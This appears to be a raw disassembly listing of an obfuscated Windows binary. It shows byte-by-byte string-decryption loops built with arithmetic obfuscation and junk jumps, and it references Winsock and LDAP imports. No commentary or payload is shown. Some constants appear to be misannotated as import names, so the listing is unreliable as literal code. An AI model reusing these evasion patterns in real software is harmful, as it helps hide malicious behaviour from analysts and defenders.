jne 0x14009fc92
movabs rcx, 0x2007221585d152e8
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
dec rdi
inc rdi
jmp 0x14009f8a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009ff90
movabs rdx, 0x255da7c3c6c98b64
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0299
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009ffb1
movabs rdx, 0xdaa905eab346844
mov ecx, reloc.WS2_32.dll_select
jmp 0x1400a036b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009ffdf
movabs rcx, 0x47bdca85644f1f7c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
jmp 0x1400a03b2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009fcd1
movabs rdx, 0xf5f778f98f9f4524
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x9f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f8a2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a0068
movabs rcx, 0x87278a5a5e620f30
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
movzx eax, byte [rbp + rdi + 0x9f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f8a2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a0099
movabs rcx, 0xfb4dfea7d0977da0
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400a01db
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a00cf
movabs rdx, 0xa987ad1bfbe7a348
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0319
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400a0106
movabs rcx, 0xe39ae742b5025a80
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x14009f8a2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009fd0c
movabs rdx, 0x57c15b902737c8f0
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0299
movabs rdx, 0xcbe7cfdd996d3760
add rdx, rdi
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + rdi + 0x9f0]
sub cl, al
add cl, 0x30
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400a0319
movabs rcx, 0x5fb0a045287ee98
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + rdi + 0x9f0]
lea r11d, [r10 + rcx]
sub r11b, 0x28
jmp 0x1400a01db
movabs rdx, 0x3263b3cc606e3d8c
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a020b
movabs rcx, 0xf85079a5a7538654
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
movabs rcx, 0x2304a717af154a34
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x6c
add cl, r10b
movzx eax, cl
mov byte [rbp + rdi + 0x9f0], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x400e442b0ba2a5d0
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rdi + 0x9f0], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x9f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f8a2
lea rcx, [rdi + rdx]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
dec rdi
inc rdi
jmp 0x14009f8a2
movabs rdx, 0x9bdd1cbd50b33b04
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x1c
add r11b, dl
movabs rcx, 0xaede32ca3cdfdbc4
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x5c
add cl, r10b
mov byte [rbp + rdi + 0x9f0], cl
inc r9
dec rdi
inc rdi
jmp 0x14009f8a2
movabs rdx, 0xb39034226c485e24
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x14009f8a2
movabs rcx, 0x797cf9fbb32da6ec
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
movabs rcx, 0xe8f16cf0f5fa92fc
add rcx, rdi
movzx eax, cl
and al, r10b
mov edx, select
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, r11b
mov byte [rbp + rdi + 0x9f0], dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f8a2
movabs rdx, 0x3f69bfd4fa12efb4
mov ecx, 0xa
add rdx, rdi
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f8a2
movabs rcx, 0x55685ae40f8387c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009f8a2
movabs rdx, 0x571cd73a15a812d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x9f0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009f8a2
movabs rcx, 0x15fe9b0f1570980c
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x54
jmp 0x14009f89e
movabs rdx, 0xdbeb60e85c55e0d4
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14009f885
lea rcx, [rbp + 0x17996c0]
jmp 0x1400a0471
lea rcx, [rbp + 0x106f25c]
jmp 0x1400a0471
lea rcx, [rbp + 0x9f0]
mov dword [rbp + 0xf90], 0x1f4
mov dword [rbp + 0xf98], reloc.WLDAP32.dll_Ordinal_60
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xf90]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf98]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.1400375c0
test al, al
je 0x1400a0507
lea rdx, [0x14021aa70]
lea rcx, [rbp + 0x3c0]
call fcn.1400022f0
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x50]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002490
cmp byte [rdi + 0x38], 0
jne 0x1400a26f3
mov eax, dword [rdi + 0x30]
mov dword [0x14021a898], eax
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x6c], 0
mov byte [rbp + 0xa18], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xa19], 0xe9
mov byte [rbp + 0xa1a], 0xfb
mov byte [rbp + 0xa1b], 0xef
mov byte [rbp + 0xa1c], 0xb2
mov byte [rbp + 0xa1d], Ordinal_211
mov byte [rbp + 0xa1e], 0xf4
mov byte [rbp + 0xa1f], 0xf0
mov byte [rbp + 0xa20], 0xfd
mov byte [rbp + 0xa21], 0xe5
mov byte [rbp + 0xa22], 0x98
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa23], xmm0
mov qword [rbp + 0xa33], rax
movabs rdi, 0x7d129318c28ea40f
movabs rsi, 0xb196c1dcad4b7d1
movabs r15, 0x8c0d1331f0e23893
movabs r14, 0xf2ff45b9e91046ab
movabs r12, 0xdae51f56074bd585
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400a1407
movzx r10d, byte [rbp + rbx + 0xa18]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a13fb
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a0613
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 5
jmp 0x1400a0660
je 0x1400a1371
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a1339
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a12ea
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a12bf
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a1291
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400a123c
nop word [rax + rax]
cmp r9, rbx
ja 0x1400a13ef
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x1400a0694
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x69
jmp 0x1400a06e0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400a1217
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a11ec
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400a11c7
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a1192
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a115d
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a0d4d
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400a0d29
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400a0cfb
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400a0cd0
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400a0cab
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a0c87
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400a0c52
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400a0c2e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a0c06
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400a0bd0
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400a06f0
lea r8, [r9 + 6]
lea r9, [r8 + 6]
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400a13ca
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400a13a5
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400a08e6
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400a08c7
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400a08a8
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400a0b6d
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400a0b0a
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400a0ab7
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400a0a87
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400a06f0
lea r8, [r9 + 5]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400a0a4d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400a0a25
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400a0a01
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400a09cc
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400a09a7
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400a0982
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400a0957
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400a0929
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400a0904
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400a06f0
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x40]
jmp 0x1400a06f0
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x49
add r11b, dl
jmp 0x1400a06e0
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x53
add r11b, dl
jmp 0x1400a0660
lea rdx, [rbx + r12]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 0x5d
add r11b, dl
jmp 0x1400a05d5
movabs rdx, 0xe89498c614752078
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x48
jmp 0x1400a125c
movabs rcx, 0xd07a726232b0af52
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3e
inc r9
dec rbx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0xb8604bfe50ec3e2c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x34
dec rbx
inc rbx
jmp 0x1400a05c2
movabs rdx, 0xa046259a6f27cd06
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2a
jmp 0x1400a130a
movabs rcx, 0x882bff368d635be0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
jmp 0x1400a1359
movabs rcx, 0x7011d8d2ab9eeaba
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x16
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0x57f7b26ec9da7994
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xc
jmp 0x1400a10e4
movabs rdx, 0x3fdd8c0ae816086e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 2
add r11b, dl
jmp 0x1400a1117
movabs rdx, 0x27c365a706519748
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a05c2
movabs rcx, 0x6b8205ad51e67c69
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x21
mov byte [rbp + rbx + 0xa18], r11b
inc rbx
jmp 0x1400a05c2
movabs rdx, 0x5367df4970220b43
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x2b
add r11b, dl
cmp r9, 0x61
jb 0x1400a0aa7
movabs rdx, 0xcd35a5e5fa228a92
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400a125f
movabs rdx, 0x3b4db8e58e5d9a1d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x35
add r11b, dl
cmp r8, 0x40
jae 0x1400a108c
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400a0f58
movabs rdx, 0xdc3025ff28761f16
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a0ada
movabs rdx, 0x23339281ac9928f7
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x3f
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x42
je 0x1400a10b9
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400a0ec2
movabs rdx, 0x5f1d92e665e77b07
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x31
jmp 0x1400a0b2a
movabs rcx, 0xee6f72948f57d85a
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x76
movzx eax, byte [rbp + rbx + 0xa18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a05c2
movabs rdx, 0xd6554c30ad936734
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6c
add r11b, dl
jmp 0x1400a1117
movabs rcx, 0xbe3b25cccbcef60e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x62
jmp 0x1400a10e4
movabs rcx, 0xa620ff68ea0a84e8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0x8e06d905084613c2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4e
jmp 0x1400a1359
movabs rdx, 0x75ecb2a12681a29c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x44
jmp 0x1400a130a
movabs rcx, 0x5dd28c3d44bd3176
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3a
dec rbx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0x45b865d962f8c050
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0x2d9e3f7581344f2a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x26
jmp 0x1400a125f
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1400a0d76
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 5
jmp 0x1400a0b8d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a0dbd
movabs rdx, 0xfa252631851d481e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a05c2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a0df3
movabs rdx, 0x123f4c9566e1b944
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1117
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a0e26
movabs rdx, 0x2a5972f948a62a6a
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a10e1
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a0e58
movabs rdx, 0x72a7e624edf37ddc
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 4
jmp 0x1400a130a
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a0e90
movabs rcx, 0x8ac20c88cfb7ef02
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0xe
dec rbx
inc rbx
jmp 0x1400a05c2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a0b90
movabs rdx, 0xbaf659509340d14e
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x22
jmp 0x1400a125c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a0ef4
movabs rdx, 0x7737b94a47abec2d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3b
jmp 0x1400a125c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a0f26
movabs rdx, 0xbf862c75ecf93f9f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x59
jmp 0x1400a130a
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a0b2d
movabs rdx, 0x7d49fa192469311
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x77
jmp 0x1400a10e1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a0f9f
movabs rdx, 0xf44a4c630a3a903c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a05c2
inc rax
cmp r8, rax
jne 0x1400a0fe4
movabs rdx, 0x3c98bf8eaf87e3ae
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a05c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a101a
movabs rdx, 0x54b2e5f2914c54d4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1359
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a1059
movabs rdx, 0x9d01591e3699a846
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400a05c2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a0ada
movabs rdx, 0xb51b7f82185e196c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a125c
movabs rdx, 0xe54fcc49dbe6fbb8
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0xa18]
sub r11b, al
sub r11b, 8
add r11b, r10b
jmp 0x1400a130a
movabs rdx, 0xfd69f2adbdab6cde
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0xa18]
sub r11b, 0x12
add r11b, dl
movabs rdx, 0x897705dfae8da571
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x17
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xa18], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x158419119f6fde04
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x1c
add cl, r10b
mov byte [rbp + rbx + 0xa18], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a05c2
movabs rcx, 0x55fdec9bb2769e65
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3d
movzx eax, byte [rbp + rbx + 0xa18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a05c2
movabs rcx, 0xdaf79700d294af3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x5b
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0xf595530c2b64d9cd
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x65
jmp 0x1400a1359
movabs rcx, 0xc561064467dbf781
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x79
dec rbx
inc rbx
jmp 0x1400a05c2
movabs rdx, 0x952cb97ca4531535
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x73
jmp 0x1400a125c
movabs rdx, 0x64f86cb4e0ca32e9
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5f
add r11b, dl
movabs rcx, 0x5942b917eb04c325
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 3
add cl, r10b
mov byte [rbp + rbx + 0xa18], cl
inc r9
dec rbx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0x4cde4650ff05c1c3
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x55
inc r9
dec rbx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0x34c41fed1d41509d
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x4b
dec rbx
inc rbx
jmp 0x1400a05c2
movabs rdx, 0x1ca9f9893b7cdf77
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x41
add r11b, dl
movabs rcx, 0x715cdf7bccc9344b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0xd
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0xa18], cl
jmp 0x1400a1359
movabs rcx, 0x48fd32559b86e51
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x37
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a05c2
movabs rcx, 0xa4273995d2a6a9b9
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0xf
movzx eax, byte [rbp + rbx + 0xa18]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a05c2
movabs rcx, 0xc2caf8f22587645f
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x67
jmp 0x1400a05c0
movabs rcx, 0xaab0d28e43c2f339
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x71
jmp 0x1400a05b0
lea rcx, [rbp + 0x17e0cdc]
jmp 0x1400a140e
lea rcx, [rbp + 0xe0456f]
jmp 0x1400a140e
lea rcx, [rbp + 0xa18]
xor r8d, r8d
lea rdx, [rsp + 0x68]
call fcn.140033fb0
test al, al
je 0x1400a142e
mov rax, qword [0x1402206e0]
mov byte [rax + 0xa], 0
call fcn.140040010
mov byte [rbp + 0xa40], 0xdb
mov byte [rbp + 0xa41], 0xae
mov byte [rbp + 0xa42], 0xac
mov byte [rbp + 0xa43], 0xb5
mov byte [rbp + 0xa44], Ordinal_79
mov byte [rbp + 0xa45], Ordinal_79
mov byte [rbp + 0xa46], 0x55
mov byte [rbp + 0xa47], 0xe7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa48], xmm0
mov qword [rbp + 0xa58], rax
mov word [rbp + 0xa60], ax
mov byte [rbp + 0xa62], al
movabs rsi, 0xbd7d4d3bb247022c
movabs r12, 0x6a8c0fde4571187c
movabs r14, 0xda0c9dafb4684b54
movabs r15, 0x4f47df329861a5c
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r9, qword [0x140220a80]
mov r8, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400a22d6
movzx r10d, byte [rbp + rbx + 0xa40]
mov rdi, r10
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400a22ca
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400a1523
